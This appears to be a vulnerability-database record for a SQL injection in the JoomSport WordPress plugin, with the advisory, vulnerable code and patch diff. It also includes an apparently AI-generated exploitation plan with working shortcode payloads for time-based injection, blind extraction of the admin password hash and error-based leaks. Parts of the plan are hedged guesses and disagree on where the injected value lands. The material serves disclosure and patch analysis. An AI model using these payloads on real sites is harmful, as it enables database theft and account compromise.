[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f9Ke8RfVUQaz1xW7B1n86eMvebRpJqPHDUw2bFSSepsA":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":26,"research_verified":27,"research_rounds_completed":28,"research_plan":29,"research_summary":30,"research_vulnerable_code":31,"research_fix_diff":32,"research_exploit_outline":33,"research_model_used":34,"research_started_at":35,"research_completed_at":36,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":27,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":27,"source_links":37},"CVE-2026-13010","joomsport-authenticated-contributor-sql-injection-via-event-shortcode-attribute","JoomSport \u003C= 5.7.9 - Authenticated (Contributor+) SQL Injection via 'event' Shortcode Attribute","The JoomSport – for Sports: Team & League, Football, Hockey & more plugin for WordPress is vulnerable to time-based SQL Injection via 'event' Shortcode Attribute in all versions up to, and including, 5.7.9 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The shortcode can be embedded in posts or pages by Contributor-level users, making this exploitable by any authenticated user with at least that role.","joomsport-sports-league-results-management",null,"\u003C=5.7.9","5.7.10","medium",6.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-07-09 20:51:51","2026-07-10 09:32:43",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fa3aa680f-4ce2-43b2-81fb-c664e398c868?source=api-prod",1,[22,23,24,25],"includes\u002Fjoomsport-shortcodes.php","includes\u002Fpages\u002Fjoomsport-page-boxfields.php","joomsport.php","readme.txt","researched",false,3,"# Exploitation Research Plan - CVE-2026-13010\n\n## 1. Vulnerability Summary\nThe **JoomSport** plugin for WordPress (versions \u003C= 5.7.9) is vulnerable to **time-based SQL Injection** via the `event` attribute in its registered shortcodes. The vulnerability exists because the plugin fails to sufficiently sanitize or prepare the `event` parameter before using it in a raw SQL query. While the plugin uses `shortcode_atts()` to define default values, it does not cast the `event` attribute to an integer or use `$wpdb->prepare()` for the resulting query. \n\nThis allow authenticated users with **Contributor** roles or higher (who have the `edit_posts` capability) to inject SQL commands by embedding a malicious shortcode into a post or page and previewing it.\n\n## 2. Attack Vector Analysis\n- **Target Shortcode:** Likely `[jsPlayerStat]` or `[jsMatchDayStat]`.\n- **Vulnerable Attribute:** `event`.\n- **Authentication:** Authenticated (Contributor+).\n- **Endpoint:** `wp-admin\u002Fpost.php` (via the Preview functionality or viewing a published post).\n- **Payload Type:** Time-based Blind SQL Injection.\n- **Preconditions:** The plugin must be active. A Contributor user must be able to create or edit a post.\n\n## 3. Code Flow\n1. **Registration:** In `includes\u002Fjoomsport-shortcodes.php`, the method `JoomsportShortcodes::init()` registers several shortcodes:\n   ```php\n   add_shortcode( 'jsPlayerStat', array('JoomsportShortcodes','joomsport_plstat') );\n   add_shortcode( 'jsMatchDayStat', array('JoomsportShortcodes','joomsport_mday') );\n   ```\n2. **Input Extraction:** When a post containing `[jsPlayerStat event=\"...\"]` is rendered, `JoomsportShortcodes::joomsport_plstat($attr)` is executed. It uses `shortcode_atts()` to extract the `event` value into an `$args` array.\n3. **Data Processing:** The `$args['event']` value is passed into internal logic (likely within `JOOMSPORT_PATH_HELPERS . 'js-helper-events.php'` or associated model classes).\n4. **The Sink:** The value is concatenated into a SQL string and executed via `$wpdb->get_results()` or `$wpdb->get_var()` without being passed through `$wpdb->prepare()`.\n\n## 4. Nonce Acquisition Strategy\nSince the vulnerability is triggered by rendering a shortcode in a post, no plugin-specific AJAX nonce is required for the SQL injection itself. However, to create and preview a post as a Contributor, standard WordPress `_wpnonce` tokens for the post editor are needed.\n\n1. **Access the Editor:** Navigate to `wp-admin\u002Fpost-new.php`.\n2. **Extract Nonce:** The `_wpnonce` for saving\u002Fpreviewing the post is found in the `#_wpnonce` hidden input field or within the `wp-admin\u002Fpost.php` form.\n3. **Alternative (Browser):** If any JS-based extraction is required for plugin features, the execution agent can use:\n   - `browser_navigate(\"wp-admin\u002Fpost-new.php\")`\n   - `browser_eval(\"document.querySelector('#_wpnonce').value\")`\n\n## 5. Exploitation Strategy\nThe goal is to confirm the SQL injection using a `SLEEP()` command.\n\n### Step 1: Create a Draft Post\n**Request:** `POST \u002Fwp-admin\u002Fpost.php`\n**Content-Type:** `application\u002Fx-www-form-urlencoded`\n**Parameters:**\n- `action`: `editpost`\n- `post_type`: `post`\n- `post_ID`: `[NEW_POST_ID]`\n- `_wpnonce`: `[EXTRACTED_NONCE]`\n- `content`: `[jsPlayerStat id=\"1\" event=\"1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)\"]`\n- `post_title`: `SQLi Test`\n\n### Step 2: Trigger the Injection via Preview\n**Request:** `GET \u002F?p=[POST_ID]&preview=true` (while logged in as Contributor)\n**Expected Response:** The request should take approximately 5 seconds longer than a standard request if the injection is successful.\n\n### Step 3: Data Extraction (Example: Admin Hash)\n**Payload:** `[jsPlayerStat event=\"1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a WHERE (SELECT SUBSTR(user_pass,1,1) FROM wp_users WHERE ID=1)='$')\"]`\n- If the first character of the admin password is `$`, the response will be delayed by 5 seconds.\n\n## 6. Test Data Setup\n1. **User Creation:**\n   ```bash\n   wp user create attacker attacker@example.com --role=contributor --user_pass=password\n   ```\n2. **Target Data:** Ensure at least one JoomSport player or event exists in the database to satisfy any initial checks in the shortcode handler.\n   ```bash\n   # Use JoomSport's internal tools or manual DB insertion if needed to create a dummy season\u002Fplayer\n   ```\n\n## 7. Expected Results\n- **Vulnerable:** The HTTP response time for the preview page correlates with the `SLEEP()` duration provided in the `event` attribute.\n- **Fixed:** The `event` attribute is cast to an integer, and the `SLEEP()` payload is ignored or results in a database error that does not execute the sleep command.\n\n## 8. Verification Steps\n1. **Check Query Log:** Enable the MySQL General Query Log to see the raw SQL being executed.\n   ```sql\n   SET GLOBAL general_log = 'ON';\n   -- Look for: SELECT ... WHERE ... event_id = 1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)\n   ```\n2. **WP-CLI Verification:** Confirm the existence of the post with the payload:\n   ```bash\n   wp post list --post_type=post --fields=ID,post_content | grep \"jsPlayerStat\"\n   ```\n\n## 9. Alternative Approaches\n- **Error-Based:** If `WP_DEBUG` is enabled, attempt to trigger an error using `extractvalue()` or `updatexml()` to leak data directly in the response.\n  - **Payload:** `[jsPlayerStat event=\"1 AND updatexml(1,concat(0x7e,(SELECT user_login FROM wp_users LIMIT 1),0x7e),1)\"]`\n- **Other Shortcodes:** If `jsPlayerStat` is patched or behaves differently, test the `event` attribute in `[jsMatchDayStat]` or `[jsMatchPlayerList]` following the same logic.","The JoomSport plugin for WordPress is vulnerable to time-based SQL Injection via the 'event' shortcode attribute in versions up to 5.7.9. Authenticated attackers with Contributor-level access or higher can exploit this by embedding a malicious shortcode in a post and previewing it, allowing the extraction of sensitive database information.","\u002F\u002F includes\u002Fjoomsport-shortcodes.php lines 275-306\n    public static function joomsport_plstat($attr){\n\n        $args = shortcode_atts( array(\n            'id' => 0,\n            'partic_id' => 0,\n            'quantity' => 5,\n            'group_id' => 0,\n            'event' => 0,\n            'display_name' => 0,\n            'display_player_name' => 0,\n            ), $attr );\n        ob_start();\n        \u002F\u002F ...\n        require_once JOOMSPORT_PATH_OBJECTS.'class-jsport-event.php';\n        $options = array();\n        $eventid = 'eventid_'.$args['event'];\n        $options['season_id'] = $args['seasonid'] = $args['id'];\n        $options['team_id'] = $args['partic_id'];\n        $options['limit'] = $args['quantity'];\n        $options['group_id'] = $args['group_id'];\n        $options['ordering'] = $eventid.' DESC';\n\n---\n\n\u002F\u002F includes\u002Fpages\u002Fjoomsport-page-boxfields.php lines 33-35\n        if ( ! empty( $_REQUEST['orderby'] ) ) {\n          \u002F\u002F$sql .= ' ORDER BY ' . esc_sql( $_REQUEST['orderby'] );\n          $sqlway = ! empty( $_REQUEST['order'] ) ? ' ' . esc_sql( $_REQUEST['order'] ) : ' ASC';","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fjoomsport-sports-league-results-management\u002F5.7.9\u002Fincludes\u002Fjoomsport-shortcodes.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fjoomsport-sports-league-results-management\u002F5.7.10\u002Fincludes\u002Fjoomsport-shortcodes.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fjoomsport-sports-league-results-management\u002F5.7.9\u002Fincludes\u002Fjoomsport-shortcodes.php\t2026-06-22 11:10:56.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fjoomsport-sports-league-results-management\u002F5.7.10\u002Fincludes\u002Fjoomsport-shortcodes.php\t2026-07-02 16:19:28.000000000 +0000\n@@ -281,6 +281,7 @@\n             'display_name' => 0,\n             'display_player_name' => 0,\n             ), $attr );\n+        $args['event'] = intval($args['event']);\n         ob_start();\n         wp_enqueue_style('jscssbtstrp',plugin_dir_url( __FILE__ ).'..\u002Fsportleague\u002Fassets\u002Fcss\u002Fbtstrp.css');\n         wp_enqueue_style('jscssjoomsport',plugin_dir_url( __FILE__ ).'..\u002Fsportleague\u002Fassets\u002Fcss\u002Fjoomsport.css');\n@@ -297,12 +298,13 @@\n         require_once JOOMSPORT_PATH_OBJECTS.'class-jsport-event.php';\n         $options = array();\n         $eventid = 'eventid_'.$args['event'];\n-        $options['season_id'] = $args['seasonid'] = $args['id'];\n-        $options['team_id'] = $args['partic_id'];\n-        $options['limit'] = $args['quantity'];\n-        $options['group_id'] = $args['group_id'];\n+        $options['season_id'] = $args['seasonid'] = intval($args['id']);\n+        $options['team_id'] = intval($args['partic_id']);\n+        $options['limit'] = intval($args['quantity']);\n+        $options['group_id'] = intval($args['group_id']);\n         $options['ordering'] = $eventid.' DESC';\n         $options['groupby'] = 1;\n+\n         $eventObj = new classJsportEvent($args['event']);\n         $players = classJsportgetplayers::getPlayersFromTeam($options);\n         if(count($players['list'])){\n@@ -416,17 +418,17 @@\n                 'partic_id' => 0,\n                 'quantity' => 0,\n                 'matchtype' => 0,\n-                'emblems' => $args['photo'],\n-                'venue' => $args['venue'],\n+                'emblems' => intval($args['photo']),\n+                'venue' => intval($args['venue']),\n                 'season' => 0,\n                 'slider' => 0,\n-                'layout' => $args['layout'],\n+                'layout' => intval($args['layout']),\n                 'groupbymd' => 0,\n                 'morder' => 0,\n                 'md_navigation' => 1,\n-                'matchday_id' => $args['matchday_id'],\n-                'teamname' => $args['teamname'] );\n-            $options[\"matchday_id\"] = $args['matchday_id'];\n+                'matchday_id' => intval($args['matchday_id']),\n+                'teamname' => intval($args['teamname'] ));\n+            $options[\"matchday_id\"] = intval($args['matchday_id']);\n             $options[\"season_id\"] = $term_meta['season_id'];\n \n \n@@ -487,6 +489,7 @@\n         if(!$args['season_id']){\n             return false;\n         }\n+        $args['season_id'] = intval($args['season_id']);\n         $ttype = JoomSportHelperObjects::getTournamentType($args['season_id']);\n \n         if(!$args['team_id'] && !$ttype){\n@@ -621,6 +624,8 @@\n             'counting' => 0,\n             'order' => 0,\n         ), $attr );\n+        $args['event'] = $args['event']?intval($args['event']):null;\n+        $args['id'] = $args['id']?intval($args['id']):null;\n         ob_start();\n         wp_enqueue_style('jscssbtstrp',plugin_dir_url( __FILE__ ).'..\u002Fsportleague\u002Fassets\u002Fcss\u002Fbtstrp.css');\n         wp_enqueue_style('jscssjoomsport',plugin_dir_url( __FILE__ ).'..\u002Fsportleague\u002Fassets\u002Fcss\u002Fjoomsport.css');\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fjoomsport-sports-league-results-management\u002F5.7.9\u002Fincludes\u002Fpages\u002Fjoomsport-page-boxfields.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fjoomsport-sports-league-results-management\u002F5.7.10\u002Fincludes\u002Fpages\u002Fjoomsport-page-boxfields.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fjoomsport-sports-league-results-management\u002F5.7.9\u002Fincludes\u002Fpages\u002Fjoomsport-page-boxfields.php\t2026-06-22 11:10:56.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fjoomsport-sports-league-results-management\u002F5.7.10\u002Fincludes\u002Fpages\u002Fjoomsport-page-boxfields.php\t2026-07-02 16:19:28.000000000 +0000\n@@ -31,8 +31,9 @@\n                 . \" ON b1.parent_id = b2.id OR (b1.parent_id = 0 AND b1.id = b2.id)\";\n             \n         if ( ! empty( $_REQUEST['orderby'] ) ) {\n-          \u002F\u002F$sql .= ' ORDER BY ' . esc_sql( $_REQUEST['orderby'] );\n-          $sqlway = ! empty( $_REQUEST['order'] ) ? ' ' . esc_sql( $_REQUEST['order'] ) : ' ASC';\n+            $available = array('ASC','DESC');\n+            $sqlway = in_array(strtoupper($_REQUEST['order']), $available)?esc_sql( $_REQUEST['order'] ):'ASC';\n+\n           $sql .= ' ORDER BY b2.name '.$sqlway.',b2.id,b1.parent_id, b1.name '.$sqlway.', b2.id, b1.id';\n         }else{\n             $sql .= ' ORDER BY b2.ordering,b2.id,b1.parent_id, b1.ordering, b2.id, b1.id';","The vulnerability is exploited via time-based blind SQL injection. An authenticated attacker with Contributor privileges (the ability to create or edit posts) logs into the WordPress dashboard and creates a new post or draft. They embed a JoomSport shortcode, such as [jsPlayerStat], and provide a time-delay payload to the 'event' attribute (e.g., event=\"1 AND SLEEP(5)\"). When the attacker previews the post, the plugin processes the shortcode and concatenates the malicious attribute value directly into an ORDER BY clause in a raw SQL query. Success is confirmed by observing a delay in the server's response equivalent to the SLEEP duration.","gemini-3-flash-preview","2026-07-15 10:20:42","2026-07-15 10:21:40",{"type":38,"vulnerable_version":39,"fixed_version":11,"vulnerable_browse":40,"vulnerable_zip":41,"fixed_browse":42,"fixed_zip":43,"all_tags":44},"plugin","5.7.9","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fjoomsport-sports-league-results-management\u002Ftags\u002F5.7.9","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fjoomsport-sports-league-results-management.5.7.9.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fjoomsport-sports-league-results-management\u002Ftags\u002F5.7.10","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fjoomsport-sports-league-results-management.5.7.10.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fjoomsport-sports-league-results-management\u002Ftags"]